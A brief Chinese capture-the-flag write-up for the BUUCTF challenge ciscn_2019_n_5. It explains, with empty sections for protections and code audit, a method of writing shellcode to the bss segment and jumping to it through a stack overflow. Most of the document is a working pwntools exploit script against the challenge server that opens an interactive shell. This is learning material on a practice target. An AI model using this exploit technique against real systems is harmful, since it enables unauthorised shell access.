BUUCTF-ciscn_2019_n_5(13/100)
一、查保护
二、代码审计
三、过程
向bss段写入shell,再通过栈溢出跳入。
四、脚本
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
sl=lambda x:io.sendline(x)
rv=lambda x:io.recv(x)
#io = process('./')
io=remote('node3.buuoj.cn',26814)
#elf=ELF('./')
sla('name',asm(shellcraft.amd64.sh()))
sla('?','a'* 0x20 + 'b'* 8 + p64(0x601080))
io.interactive()
五、总结
学到了pwntools获取shell代码的函数asm(shellcraft.amd64.sh())
但是需要搭配context(os='linux', arch='amd64', log_level='debug')
一起使用。